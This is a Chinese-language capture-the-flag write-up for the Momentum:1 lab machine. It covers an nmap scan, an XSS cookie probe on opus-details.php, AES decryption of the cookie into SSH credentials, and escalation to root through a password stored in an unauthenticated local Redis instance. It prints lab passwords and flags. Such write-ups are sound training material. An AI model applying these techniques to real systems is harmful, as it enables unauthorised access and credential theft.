zoukankan      html  css  js  c++  java
  • Momentum:1 writeup

    Momentum:1 writeup

    信息收集

    nmap -sV 192.168.148.189
    Nmap scan report for 192.168.148.189
    Host is up (0.00012s latency).
    Not shown: 998 closed ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.38 ((Debian))
    MAC Address: 00:0C:29:A2:33:E7 (VMware)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    开启的80端口,在前端main.js发现

    function viewDetails(str) {
    
      window.location.href = "opus-details.php?id="+str;
    }
    
    /*
    var CryptoJS = require("crypto-js");
    var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
    console.log(decrypted.toString(CryptoJS.enc.Utf8));
    */
    

    漏洞利用

    尝试:http://192.168.148.223:10080/opus-details.php?id=1(我因为环境问题,做了端口转发),没有发现什么

    这里看起来可能是个xss点,尝试

    <script>alert(document.cookie)</script>
    

    得到cookie

    U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
    

    前端看到是aes加密,解密一下

    auxerre-alienum##
    

    可能是ssh用户和密码,登录,用户名为auxerre,密码为auxerre-alienum##,然后查看得到第一个flag

    auxerre@Momentum:~$ ls
    user.txt
    auxerre@Momentum:~$ cat user.txt
    [ Momentum - User Owned ]
    ---------------------------------------
    flag : 84157165c30ad34d18945b647ec7f647
    ---------------------------------------
    

    提高权限

    查看内核版本

    auxerre@Momentum:~$ cat /proc/version
    Linux version 4.19.0-16-amd64 (debian-kernel@lists.debian.org) 
    

    内核版本很高,应该是没有什么漏洞的
    之后在查看进程的时候发现开启了redis

    root         2  0.0  0.0      0     0 ?        S    05:34   0:00 [kthreadd]
    root        19  0.0  0.0      0     0 ?        S    05:34   0:00 [oom_reaper]
    root        27  0.0  0.0      0     0 ?        I<   05:34   0:00 [devfreq_wq]
    message+   429  0.0  0.9   9096  4476 ?        Ss   05:34   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
    redis      482  0.2  0.8  51672  4396 ?        Ssl  05:34   0:28 /usr/bin/redis-server 
    
    整理一下
    auxerre@Momentum:~$ ps aux | grep redis
    redis      482  0.2  0.8  51672  4396 ?        Ssl  05:34   0:28 /usr/bin/redis-server 127.0.0.1:6379
    auxerre   1568  0.0  0.1   6208   888 pts/0    S+   09:11   0:00 grep redis
    

    看到本地是开启了6379端口,我们本地登录一下,查看所有配置项

    auxerre@Momentum:~$ redis-cli
    127.0.0.1:6379> config get *
      1) "dbfilename"
      2) "dump.rdb"
      3) "requirepass"
      4) ""
      5) "masterauth"
      6) ""
      7) "cluster-announce-ip"
      8) ""
      9) "unixsocket"
    .....
    

    没发现什么,查一下键

    127.0.0.1:6379> keys *
    1) "rootpass"
    

    发现这个很像是root用户的密码,查看内容

    127.0.0.1:6379> get rootpass
    "m0mentum-al1enum##"
    

    然后我们提权,并得到第二个flag

    auxerre@Momentum:~$ su -
    Password:
    root@Momentum:~# ls
    root.txt
    root@Momentum:~# cat root.txt
    [ Momentum - Rooted ]
    ---------------------------------------
    Flag : 658ff660fdac0b079ea78238e5996e40
    ---------------------------------------
    by alienum with <3
    
    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    MySQL高级查询总结
    MySQL数据库作业
    MySQLdump备份还原命令
    MySQL之Join
    MySQL课堂作业(一)
    Mysql数据库
    Js实例之简易计算器
    JS系统函数
    js课堂作业之转换月份
    C++ Name Mangling 为什么不编码返回值参数
  • 原文地址:https://www.cnblogs.com/crfshadow/p/15617052.html
Copyright © 2011-2022 走看看